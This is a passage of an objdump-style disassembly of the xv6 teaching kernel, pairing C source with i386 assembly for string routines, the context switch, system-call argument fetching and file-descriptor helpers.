801051b9: 89 c1 mov %eax,%ecx
801051bb: 8b 45 0c mov 0xc(%ebp),%eax
801051be: c1 e0 10 shl $0x10,%eax
801051c1: 09 c1 or %eax,%ecx
801051c3: 8b 45 0c mov 0xc(%ebp),%eax
801051c6: c1 e0 08 shl $0x8,%eax
801051c9: 09 c8 or %ecx,%eax
801051cb: 0b 45 0c or 0xc(%ebp),%eax
801051ce: 89 54 24 08 mov %edx,0x8(%esp)
801051d2: 89 44 24 04 mov %eax,0x4(%esp)
801051d6: 8b 45 08 mov 0x8(%ebp),%eax
801051d9: 89 04 24 mov %eax,(%esp)
801051dc: e8 84 ff ff ff call 80105165 <stosl>
801051e1: eb 19 jmp 801051fc <memset+0x72>
} else
stosb(dst, c, n);
801051e3: 8b 45 10 mov 0x10(%ebp),%eax
801051e6: 89 44 24 08 mov %eax,0x8(%esp)
801051ea: 8b 45 0c mov 0xc(%ebp),%eax
801051ed: 89 44 24 04 mov %eax,0x4(%esp)
801051f1: 8b 45 08 mov 0x8(%ebp),%eax
801051f4: 89 04 24 mov %eax,(%esp)
801051f7: e8 44 ff ff ff call 80105140 <stosb>
return dst;
801051fc: 8b 45 08 mov 0x8(%ebp),%eax
}
801051ff: c9 leave
80105200: c3 ret
80105201 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
80105201: 55 push %ebp
80105202: 89 e5 mov %esp,%ebp
80105204: 83 ec 10 sub $0x10,%esp
const uchar *s1, *s2;
s1 = v1;
80105207: 8b 45 08 mov 0x8(%ebp),%eax
8010520a: 89 45 fc mov %eax,-0x4(%ebp)
s2 = v2;
8010520d: 8b 45 0c mov 0xc(%ebp),%eax
80105210: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0){
80105213: eb 2a jmp 8010523f <memcmp+0x3e>
if(*s1 != *s2)
80105215: 8b 45 fc mov -0x4(%ebp),%eax
80105218: 8a 10 mov (%eax),%dl
8010521a: 8b 45 f8 mov -0x8(%ebp),%eax
8010521d: 8a 00 mov (%eax),%al
8010521f: 38 c2 cmp %al,%dl
80105221: 74 16 je 80105239 <memcmp+0x38>
return *s1 - *s2;
80105223: 8b 45 fc mov -0x4(%ebp),%eax
80105226: 8a 00 mov (%eax),%al
80105228: 0f b6 d0 movzbl %al,%edx
8010522b: 8b 45 f8 mov -0x8(%ebp),%eax
8010522e: 8a 00 mov (%eax),%al
80105230: 0f b6 c0 movzbl %al,%eax
80105233: 29 c2 sub %eax,%edx
80105235: 89 d0 mov %edx,%eax
80105237: eb 18 jmp 80105251 <memcmp+0x50>
s1++, s2++;
80105239: ff 45 fc incl -0x4(%ebp)
8010523c: ff 45 f8 incl -0x8(%ebp)
{
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
8010523f: 8b 45 10 mov 0x10(%ebp),%eax
80105242: 8d 50 ff lea -0x1(%eax),%edx
80105245: 89 55 10 mov %edx,0x10(%ebp)
80105248: 85 c0 test %eax,%eax
8010524a: 75 c9 jne 80105215 <memcmp+0x14>
if(*s1 != *s2)
return *s1 - *s2;
s1++, s2++;
}
return 0;
8010524c: b8 00 00 00 00 mov $0x0,%eax
}
80105251: c9 leave
80105252: c3 ret
80105253 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80105253: 55 push %ebp
80105254: 89 e5 mov %esp,%ebp
80105256: 83 ec 10 sub $0x10,%esp
const char *s;
char *d;
s = src;
80105259: 8b 45 0c mov 0xc(%ebp),%eax
8010525c: 89 45 fc mov %eax,-0x4(%ebp)
d = dst;
8010525f: 8b 45 08 mov 0x8(%ebp),%eax
80105262: 89 45 f8 mov %eax,-0x8(%ebp)
if(s < d && s + n > d){
80105265: 8b 45 fc mov -0x4(%ebp),%eax
80105268: 3b 45 f8 cmp -0x8(%ebp),%eax
8010526b: 73 3a jae 801052a7 <memmove+0x54>
8010526d: 8b 45 10 mov 0x10(%ebp),%eax
80105270: 8b 55 fc mov -0x4(%ebp),%edx
80105273: 01 d0 add %edx,%eax
80105275: 3b 45 f8 cmp -0x8(%ebp),%eax
80105278: 76 2d jbe 801052a7 <memmove+0x54>
s += n;
8010527a: 8b 45 10 mov 0x10(%ebp),%eax
8010527d: 01 45 fc add %eax,-0x4(%ebp)
d += n;
80105280: 8b 45 10 mov 0x10(%ebp),%eax
80105283: 01 45 f8 add %eax,-0x8(%ebp)
while(n-- > 0)
80105286: eb 10 jmp 80105298 <memmove+0x45>
*--d = *--s;
80105288: ff 4d f8 decl -0x8(%ebp)
8010528b: ff 4d fc decl -0x4(%ebp)
8010528e: 8b 45 fc mov -0x4(%ebp),%eax
80105291: 8a 10 mov (%eax),%dl
80105293: 8b 45 f8 mov -0x8(%ebp),%eax
80105296: 88 10 mov %dl,(%eax)
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
80105298: 8b 45 10 mov 0x10(%ebp),%eax
8010529b: 8d 50 ff lea -0x1(%eax),%edx
8010529e: 89 55 10 mov %edx,0x10(%ebp)
801052a1: 85 c0 test %eax,%eax
801052a3: 75 e3 jne 80105288 <memmove+0x35>
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
801052a5: eb 25 jmp 801052cc <memmove+0x79>
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
801052a7: eb 16 jmp 801052bf <memmove+0x6c>
*d++ = *s++;
801052a9: 8b 45 f8 mov -0x8(%ebp),%eax
801052ac: 8d 50 01 lea 0x1(%eax),%edx
801052af: 89 55 f8 mov %edx,-0x8(%ebp)
801052b2: 8b 55 fc mov -0x4(%ebp),%edx
801052b5: 8d 4a 01 lea 0x1(%edx),%ecx
801052b8: 89 4d fc mov %ecx,-0x4(%ebp)
801052bb: 8a 12 mov (%edx),%dl
801052bd: 88 10 mov %dl,(%eax)
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
801052bf: 8b 45 10 mov 0x10(%ebp),%eax
801052c2: 8d 50 ff lea -0x1(%eax),%edx
801052c5: 89 55 10 mov %edx,0x10(%ebp)
801052c8: 85 c0 test %eax,%eax
801052ca: 75 dd jne 801052a9 <memmove+0x56>
*d++ = *s++;
return dst;
801052cc: 8b 45 08 mov 0x8(%ebp),%eax
}
801052cf: c9 leave
801052d0: c3 ret
801052d1 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
801052d1: 55 push %ebp
801052d2: 89 e5 mov %esp,%ebp
801052d4: 83 ec 0c sub $0xc,%esp
return memmove(dst, src, n);
801052d7: 8b 45 10 mov 0x10(%ebp),%eax
801052da: 89 44 24 08 mov %eax,0x8(%esp)
801052de: 8b 45 0c mov 0xc(%ebp),%eax
801052e1: 89 44 24 04 mov %eax,0x4(%esp)
801052e5: 8b 45 08 mov 0x8(%ebp),%eax
801052e8: 89 04 24 mov %eax,(%esp)
801052eb: e8 63 ff ff ff call 80105253 <memmove>
}
801052f0: c9 leave
801052f1: c3 ret
801052f2 <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
801052f2: 55 push %ebp
801052f3: 89 e5 mov %esp,%ebp
while(n > 0 && *p && *p == *q)
801052f5: eb 09 jmp 80105300 <strncmp+0xe>
n--, p++, q++;
801052f7: ff 4d 10 decl 0x10(%ebp)
801052fa: ff 45 08 incl 0x8(%ebp)
801052fd: ff 45 0c incl 0xc(%ebp)
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
80105300: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80105304: 74 17 je 8010531d <strncmp+0x2b>
80105306: 8b 45 08 mov 0x8(%ebp),%eax
80105309: 8a 00 mov (%eax),%al
8010530b: 84 c0 test %al,%al
8010530d: 74 0e je 8010531d <strncmp+0x2b>
8010530f: 8b 45 08 mov 0x8(%ebp),%eax
80105312: 8a 10 mov (%eax),%dl
80105314: 8b 45 0c mov 0xc(%ebp),%eax
80105317: 8a 00 mov (%eax),%al
80105319: 38 c2 cmp %al,%dl
8010531b: 74 da je 801052f7 <strncmp+0x5>
n--, p++, q++;
if(n == 0)
8010531d: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80105321: 75 07 jne 8010532a <strncmp+0x38>
return 0;
80105323: b8 00 00 00 00 mov $0x0,%eax
80105328: eb 14 jmp 8010533e <strncmp+0x4c>
return (uchar)*p - (uchar)*q;
8010532a: 8b 45 08 mov 0x8(%ebp),%eax
8010532d: 8a 00 mov (%eax),%al
8010532f: 0f b6 d0 movzbl %al,%edx
80105332: 8b 45 0c mov 0xc(%ebp),%eax
80105335: 8a 00 mov (%eax),%al
80105337: 0f b6 c0 movzbl %al,%eax
8010533a: 29 c2 sub %eax,%edx
8010533c: 89 d0 mov %edx,%eax
}
8010533e: 5d pop %ebp
8010533f: c3 ret
80105340 <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
80105340: 55 push %ebp
80105341: 89 e5 mov %esp,%ebp
80105343: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
80105346: 8b 45 08 mov 0x8(%ebp),%eax
80105349: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0 && (*s++ = *t++) != 0)
8010534c: 90 nop
8010534d: 8b 45 10 mov 0x10(%ebp),%eax
80105350: 8d 50 ff lea -0x1(%eax),%edx
80105353: 89 55 10 mov %edx,0x10(%ebp)
80105356: 85 c0 test %eax,%eax
80105358: 7e 1c jle 80105376 <strncpy+0x36>
8010535a: 8b 45 08 mov 0x8(%ebp),%eax
8010535d: 8d 50 01 lea 0x1(%eax),%edx
80105360: 89 55 08 mov %edx,0x8(%ebp)
80105363: 8b 55 0c mov 0xc(%ebp),%edx
80105366: 8d 4a 01 lea 0x1(%edx),%ecx
80105369: 89 4d 0c mov %ecx,0xc(%ebp)
8010536c: 8a 12 mov (%edx),%dl
8010536e: 88 10 mov %dl,(%eax)
80105370: 8a 00 mov (%eax),%al
80105372: 84 c0 test %al,%al
80105374: 75 d7 jne 8010534d <strncpy+0xd>
;
while(n-- > 0)
80105376: eb 0c jmp 80105384 <strncpy+0x44>
*s++ = 0;
80105378: 8b 45 08 mov 0x8(%ebp),%eax
8010537b: 8d 50 01 lea 0x1(%eax),%edx
8010537e: 89 55 08 mov %edx,0x8(%ebp)
80105381: c6 00 00 movb $0x0,(%eax)
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
;
while(n-- > 0)
80105384: 8b 45 10 mov 0x10(%ebp),%eax
80105387: 8d 50 ff lea -0x1(%eax),%edx
8010538a: 89 55 10 mov %edx,0x10(%ebp)
8010538d: 85 c0 test %eax,%eax
8010538f: 7f e7 jg 80105378 <strncpy+0x38>
*s++ = 0;
return os;
80105391: 8b 45 fc mov -0x4(%ebp),%eax
}
80105394: c9 leave
80105395: c3 ret
80105396 <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
80105396: 55 push %ebp
80105397: 89 e5 mov %esp,%ebp
80105399: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
8010539c: 8b 45 08 mov 0x8(%ebp),%eax
8010539f: 89 45 fc mov %eax,-0x4(%ebp)
if(n <= 0)
801053a2: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801053a6: 7f 05 jg 801053ad <safestrcpy+0x17>
return os;
801053a8: 8b 45 fc mov -0x4(%ebp),%eax
801053ab: eb 2e jmp 801053db <safestrcpy+0x45>
while(--n > 0 && (*s++ = *t++) != 0)
801053ad: ff 4d 10 decl 0x10(%ebp)
801053b0: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801053b4: 7e 1c jle 801053d2 <safestrcpy+0x3c>
801053b6: 8b 45 08 mov 0x8(%ebp),%eax
801053b9: 8d 50 01 lea 0x1(%eax),%edx
801053bc: 89 55 08 mov %edx,0x8(%ebp)
801053bf: 8b 55 0c mov 0xc(%ebp),%edx
801053c2: 8d 4a 01 lea 0x1(%edx),%ecx
801053c5: 89 4d 0c mov %ecx,0xc(%ebp)
801053c8: 8a 12 mov (%edx),%dl
801053ca: 88 10 mov %dl,(%eax)
801053cc: 8a 00 mov (%eax),%al
801053ce: 84 c0 test %al,%al
801053d0: 75 db jne 801053ad <safestrcpy+0x17>
;
*s = 0;
801053d2: 8b 45 08 mov 0x8(%ebp),%eax
801053d5: c6 00 00 movb $0x0,(%eax)
return os;
801053d8: 8b 45 fc mov -0x4(%ebp),%eax
}
801053db: c9 leave
801053dc: c3 ret
801053dd <strlen>:
int
strlen(const char *s)
{
801053dd: 55 push %ebp
801053de: 89 e5 mov %esp,%ebp
801053e0: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
801053e3: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
801053ea: eb 03 jmp 801053ef <strlen+0x12>
801053ec: ff 45 fc incl -0x4(%ebp)
801053ef: 8b 55 fc mov -0x4(%ebp),%edx
801053f2: 8b 45 08 mov 0x8(%ebp),%eax
801053f5: 01 d0 add %edx,%eax
801053f7: 8a 00 mov (%eax),%al
801053f9: 84 c0 test %al,%al
801053fb: 75 ef jne 801053ec <strlen+0xf>
;
return n;
801053fd: 8b 45 fc mov -0x4(%ebp),%eax
}
80105400: c9 leave
80105401: c3 ret
...
80105404 <swtch>:
# Save current register context in old
# and then load register context from new.
.globl swtch
swtch:
movl 4(%esp), %eax
80105404: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
80105408: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-save registers
pushl %ebp
8010540c: 55 push %ebp
pushl %ebx
8010540d: 53 push %ebx
pushl %esi
8010540e: 56 push %esi
pushl %edi
8010540f: 57 push %edi
# Switch stacks
movl %esp, (%eax)
80105410: 89 20 mov %esp,(%eax)
movl %edx, %esp
80105412: 89 d4 mov %edx,%esp
# Load new callee-save registers
popl %edi
80105414: 5f pop %edi
popl %esi
80105415: 5e pop %esi
popl %ebx
80105416: 5b pop %ebx
popl %ebp
80105417: 5d pop %ebp
ret
80105418: c3 ret
80105419: 00 00 add %al,(%eax)
...
8010541c <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
8010541c: 55 push %ebp
8010541d: 89 e5 mov %esp,%ebp
if(addr >= proc->sz || addr+4 > proc->sz)
8010541f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105425: 8b 00 mov (%eax),%eax
80105427: 3b 45 08 cmp 0x8(%ebp),%eax
8010542a: 76 12 jbe 8010543e <fetchint+0x22>
8010542c: 8b 45 08 mov 0x8(%ebp),%eax
8010542f: 8d 50 04 lea 0x4(%eax),%edx
80105432: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105438: 8b 00 mov (%eax),%eax
8010543a: 39 c2 cmp %eax,%edx
8010543c: 76 07 jbe 80105445 <fetchint+0x29>
return -1;
8010543e: b8 ff ff ff ff mov $0xffffffff,%eax
80105443: eb 0f jmp 80105454 <fetchint+0x38>
*ip = *(int*)(addr);
80105445: 8b 45 08 mov 0x8(%ebp),%eax
80105448: 8b 10 mov (%eax),%edx
8010544a: 8b 45 0c mov 0xc(%ebp),%eax
8010544d: 89 10 mov %edx,(%eax)
return 0;
8010544f: b8 00 00 00 00 mov $0x0,%eax
}
80105454: 5d pop %ebp
80105455: c3 ret
80105456 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
80105456: 55 push %ebp
80105457: 89 e5 mov %esp,%ebp
80105459: 83 ec 10 sub $0x10,%esp
char *s, *ep;
if(addr >= proc->sz)
8010545c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105462: 8b 00 mov (%eax),%eax
80105464: 3b 45 08 cmp 0x8(%ebp),%eax
80105467: 77 07 ja 80105470 <fetchstr+0x1a>
return -1;
80105469: b8 ff ff ff ff mov $0xffffffff,%eax
8010546e: eb 44 jmp 801054b4 <fetchstr+0x5e>
*pp = (char*)addr;
80105470: 8b 55 08 mov 0x8(%ebp),%edx
80105473: 8b 45 0c mov 0xc(%ebp),%eax
80105476: 89 10 mov %edx,(%eax)
ep = (char*)proc->sz;
80105478: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010547e: 8b 00 mov (%eax),%eax
80105480: 89 45 f8 mov %eax,-0x8(%ebp)
for(s = *pp; s < ep; s++)
80105483: 8b 45 0c mov 0xc(%ebp),%eax
80105486: 8b 00 mov (%eax),%eax
80105488: 89 45 fc mov %eax,-0x4(%ebp)
8010548b: eb 1a jmp 801054a7 <fetchstr+0x51>
if(*s == 0)
8010548d: 8b 45 fc mov -0x4(%ebp),%eax
80105490: 8a 00 mov (%eax),%al
80105492: 84 c0 test %al,%al
80105494: 75 0e jne 801054a4 <fetchstr+0x4e>
return s - *pp;
80105496: 8b 55 fc mov -0x4(%ebp),%edx
80105499: 8b 45 0c mov 0xc(%ebp),%eax
8010549c: 8b 00 mov (%eax),%eax
8010549e: 29 c2 sub %eax,%edx
801054a0: 89 d0 mov %edx,%eax
801054a2: eb 10 jmp 801054b4 <fetchstr+0x5e>
if(addr >= proc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
801054a4: ff 45 fc incl -0x4(%ebp)
801054a7: 8b 45 fc mov -0x4(%ebp),%eax
801054aa: 3b 45 f8 cmp -0x8(%ebp),%eax
801054ad: 72 de jb 8010548d <fetchstr+0x37>
if(*s == 0)
return s - *pp;
return -1;
801054af: b8 ff ff ff ff mov $0xffffffff,%eax
}
801054b4: c9 leave
801054b5: c3 ret
801054b6 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
801054b6: 55 push %ebp
801054b7: 89 e5 mov %esp,%ebp
801054b9: 83 ec 08 sub $0x8,%esp
return fetchint(proc->tf->esp + 4 + 4*n, ip);
801054bc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801054c2: 8b 40 18 mov 0x18(%eax),%eax
801054c5: 8b 50 44 mov 0x44(%eax),%edx
801054c8: 8b 45 08 mov 0x8(%ebp),%eax
801054cb: c1 e0 02 shl $0x2,%eax
801054ce: 01 d0 add %edx,%eax
801054d0: 8d 50 04 lea 0x4(%eax),%edx
801054d3: 8b 45 0c mov 0xc(%ebp),%eax
801054d6: 89 44 24 04 mov %eax,0x4(%esp)
801054da: 89 14 24 mov %edx,(%esp)
801054dd: e8 3a ff ff ff call 8010541c <fetchint>
}
801054e2: c9 leave
801054e3: c3 ret
801054e4 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
801054e4: 55 push %ebp
801054e5: 89 e5 mov %esp,%ebp
801054e7: 83 ec 18 sub $0x18,%esp
int i;
if(argint(n, &i) < 0)
801054ea: 8d 45 fc lea -0x4(%ebp),%eax
801054ed: 89 44 24 04 mov %eax,0x4(%esp)
801054f1: 8b 45 08 mov 0x8(%ebp),%eax
801054f4: 89 04 24 mov %eax,(%esp)
801054f7: e8 ba ff ff ff call 801054b6 <argint>
801054fc: 85 c0 test %eax,%eax
801054fe: 79 07 jns 80105507 <argptr+0x23>
return -1;
80105500: b8 ff ff ff ff mov $0xffffffff,%eax
80105505: eb 43 jmp 8010554a <argptr+0x66>
if(size < 0 || (uint)i >= proc->sz || (uint)i+size > proc->sz)
80105507: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010550b: 78 27 js 80105534 <argptr+0x50>
8010550d: 8b 45 fc mov -0x4(%ebp),%eax
80105510: 89 c2 mov %eax,%edx
80105512: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105518: 8b 00 mov (%eax),%eax
8010551a: 39 c2 cmp %eax,%edx
8010551c: 73 16 jae 80105534 <argptr+0x50>
8010551e: 8b 45 fc mov -0x4(%ebp),%eax
80105521: 89 c2 mov %eax,%edx
80105523: 8b 45 10 mov 0x10(%ebp),%eax
80105526: 01 c2 add %eax,%edx
80105528: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010552e: 8b 00 mov (%eax),%eax
80105530: 39 c2 cmp %eax,%edx
80105532: 76 07 jbe 8010553b <argptr+0x57>
return -1;
80105534: b8 ff ff ff ff mov $0xffffffff,%eax
80105539: eb 0f jmp 8010554a <argptr+0x66>
*pp = (char*)i;
8010553b: 8b 45 fc mov -0x4(%ebp),%eax
8010553e: 89 c2 mov %eax,%edx
80105540: 8b 45 0c mov 0xc(%ebp),%eax
80105543: 89 10 mov %edx,(%eax)
return 0;
80105545: b8 00 00 00 00 mov $0x0,%eax
}
8010554a: c9 leave
8010554b: c3 ret
8010554c <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
8010554c: 55 push %ebp
8010554d: 89 e5 mov %esp,%ebp
8010554f: 83 ec 18 sub $0x18,%esp
int addr;
if(argint(n, &addr) < 0)
80105552: 8d 45 fc lea -0x4(%ebp),%eax
80105555: 89 44 24 04 mov %eax,0x4(%esp)
80105559: 8b 45 08 mov 0x8(%ebp),%eax
8010555c: 89 04 24 mov %eax,(%esp)
8010555f: e8 52 ff ff ff call 801054b6 <argint>
80105564: 85 c0 test %eax,%eax
80105566: 79 07 jns 8010556f <argstr+0x23>
return -1;
80105568: b8 ff ff ff ff mov $0xffffffff,%eax
8010556d: eb 12 jmp 80105581 <argstr+0x35>
return fetchstr(addr, pp);
8010556f: 8b 45 fc mov -0x4(%ebp),%eax
80105572: 8b 55 0c mov 0xc(%ebp),%edx
80105575: 89 54 24 04 mov %edx,0x4(%esp)
80105579: 89 04 24 mov %eax,(%esp)
8010557c: e8 d5 fe ff ff call 80105456 <fetchstr>
}
80105581: c9 leave
80105582: c3 ret
80105583 <syscall>:
[SYS_pipe_count] sys_pipe_count,
};
void
syscall(void)
{
80105583: 55 push %ebp
80105584: 89 e5 mov %esp,%ebp
80105586: 53 push %ebx
80105587: 83 ec 24 sub $0x24,%esp
int num;
num = proc->tf->eax;
8010558a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105590: 8b 40 18 mov 0x18(%eax),%eax
80105593: 8b 40 1c mov 0x1c(%eax),%eax
80105596: 89 45 f4 mov %eax,-0xc(%ebp)
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80105599: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010559d: 7e 30 jle 801055cf <syscall+0x4c>
8010559f: 8b 45 f4 mov -0xc(%ebp),%eax
801055a2: 83 f8 18 cmp $0x18,%eax
801055a5: 77 28 ja 801055cf <syscall+0x4c>
801055a7: 8b 45 f4 mov -0xc(%ebp),%eax
801055aa: 8b 04 85 40 b0 10 80 mov -0x7fef4fc0(,%eax,4),%eax
801055b1: 85 c0 test %eax,%eax
801055b3: 74 1a je 801055cf <syscall+0x4c>
proc->tf->eax = syscalls[num]();
801055b5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801055bb: 8b 58 18 mov 0x18(%eax),%ebx
801055be: 8b 45 f4 mov -0xc(%ebp),%eax
801055c1: 8b 04 85 40 b0 10 80 mov -0x7fef4fc0(,%eax,4),%eax
801055c8: ff d0 call *%eax
801055ca: 89 43 1c mov %eax,0x1c(%ebx)
801055cd: eb 3d jmp 8010560c <syscall+0x89>
} else {
cprintf("%d %s: unknown sys call %d\n",
proc->pid, proc->name, num);
801055cf: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801055d5: 8d 48 6c lea 0x6c(%eax),%ecx
801055d8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
num = proc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
proc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
801055de: 8b 40 10 mov 0x10(%eax),%eax
801055e1: 8b 55 f4 mov -0xc(%ebp),%edx
801055e4: 89 54 24 0c mov %edx,0xc(%esp)
801055e8: 89 4c 24 08 mov %ecx,0x8(%esp)
801055ec: 89 44 24 04 mov %eax,0x4(%esp)
801055f0: c7 04 24 82 89 10 80 movl $0x80108982,(%esp)
801055f7: e8 c5 ad ff ff call 801003c1 <cprintf>
proc->pid, proc->name, num);
proc->tf->eax = -1;
801055fc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105602: 8b 40 18 mov 0x18(%eax),%eax
80105605: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
8010560c: 83 c4 24 add $0x24,%esp
8010560f: 5b pop %ebx
80105610: 5d pop %ebp
80105611: c3 ret
...
80105614 <argfd>:
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
{
80105614: 55 push %ebp
80105615: 89 e5 mov %esp,%ebp
80105617: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argint(n, &fd) < 0)
8010561a: 8d 45 f0 lea -0x10(%ebp),%eax
8010561d: 89 44 24 04 mov %eax,0x4(%esp)
80105621: 8b 45 08 mov 0x8(%ebp),%eax
80105624: 89 04 24 mov %eax,(%esp)
80105627: e8 8a fe ff ff call 801054b6 <argint>
8010562c: 85 c0 test %eax,%eax
8010562e: 79 07 jns 80105637 <argfd+0x23>
return -1;
80105630: b8 ff ff ff ff mov $0xffffffff,%eax
80105635: eb 50 jmp 80105687 <argfd+0x73>
if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0)
80105637: 8b 45 f0 mov -0x10(%ebp),%eax
8010563a: 85 c0 test %eax,%eax
8010563c: 78 21 js 8010565f <argfd+0x4b>
8010563e: 8b 45 f0 mov -0x10(%ebp),%eax
80105641: 83 f8 0f cmp $0xf,%eax
80105644: 7f 19 jg 8010565f <argfd+0x4b>
80105646: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010564c: 8b 55 f0 mov -0x10(%ebp),%edx
8010564f: 83 c2 08 add $0x8,%edx
80105652: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80105656: 89 45 f4 mov %eax,-0xc(%ebp)
80105659: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010565d: 75 07 jne 80105666 <argfd+0x52>
return -1;
8010565f: b8 ff ff ff ff mov $0xffffffff,%eax
80105664: eb 21 jmp 80105687 <argfd+0x73>
if(pfd)
80105666: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
8010566a: 74 08 je 80105674 <argfd+0x60>
*pfd = fd;
8010566c: 8b 55 f0 mov -0x10(%ebp),%edx
8010566f: 8b 45 0c mov 0xc(%ebp),%eax
80105672: 89 10 mov %edx,(%eax)
if(pf)
80105674: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80105678: 74 08 je 80105682 <argfd+0x6e>
*pf = f;
8010567a: 8b 45 10 mov 0x10(%ebp),%eax
8010567d: 8b 55 f4 mov -0xc(%ebp),%edx
80105680: 89 10 mov %edx,(%eax)
return 0;
80105682: b8 00 00 00 00 mov $0x0,%eax
}
80105687: c9 leave
80105688: c3 ret
80105689 <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
80105689: 55 push %ebp
8010568a: 89 e5 mov %esp,%ebp
8010568c: 83 ec 10 sub $0x10,%esp
int fd;
for(fd = 0; fd < NOFILE; fd++){
8010568f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
80105696: eb 2f jmp 801056c7 <fdalloc+0x3e>
if(proc->ofile[fd] == 0){
80105698: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010569e: 8b 55 fc mov -0x4(%ebp),%edx
801056a1: 83 c2 08 add $0x8,%edx
801056a4: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801056a8: 85 c0 test %eax,%eax
801056aa: 75 18 jne 801056c4 <fdalloc+0x3b>
proc->ofile[fd] = f;
801056ac: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801056b2: 8b 55 fc mov -0x4(%ebp),%edx
801056b5: 8d 4a 08 lea 0x8(%edx),%ecx
801056b8: 8b 55 08 mov 0x8(%ebp),%edx
801056bb: 89 54 88 08 mov %edx,0x8(%eax,%ecx,4)
return fd;
801056bf: 8b 45 fc mov -0x4(%ebp),%eax
801056c2: eb 0e jmp 801056d2 <fdalloc+0x49>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
801056c4: ff 45 fc incl -0x4(%ebp)
801056c7: 83 7d fc 0f cmpl $0xf,-0x4(%ebp)
801056cb: 7e cb jle 80105698 <fdalloc+0xf>
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
return fd;
}
}
return -1;
801056cd: b8 ff ff ff ff mov $0xffffffff,%eax
}
801056d2: c9 leave
801056d3: c3 ret
801056d4 <sys_dup>:
int
sys_dup(void)
{
801056d4: 55 push %ebp
801056d5: 89 e5 mov %esp,%ebp
801056d7: 83 ec 28 sub $0x28,%esp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
801056da: 8d 45 f0 lea -0x10(%ebp),%eax
801056dd: 89 44 24 08 mov %eax,0x8(%esp)
801056e1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801056e8: 00
801056e9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801056f0: e8 1f ff ff ff call 80105614 <argfd>
801056f5: 85 c0 test %eax,%eax
801056f7: 79 07 jns 80105700 <sys_dup+0x2c>
return -1;
801056f9: b8 ff ff ff ff mov $0xffffffff,%eax
801056fe: eb 29 jmp 80105729 <sys_dup+0x55>
if((fd=fdalloc(f)) < 0)
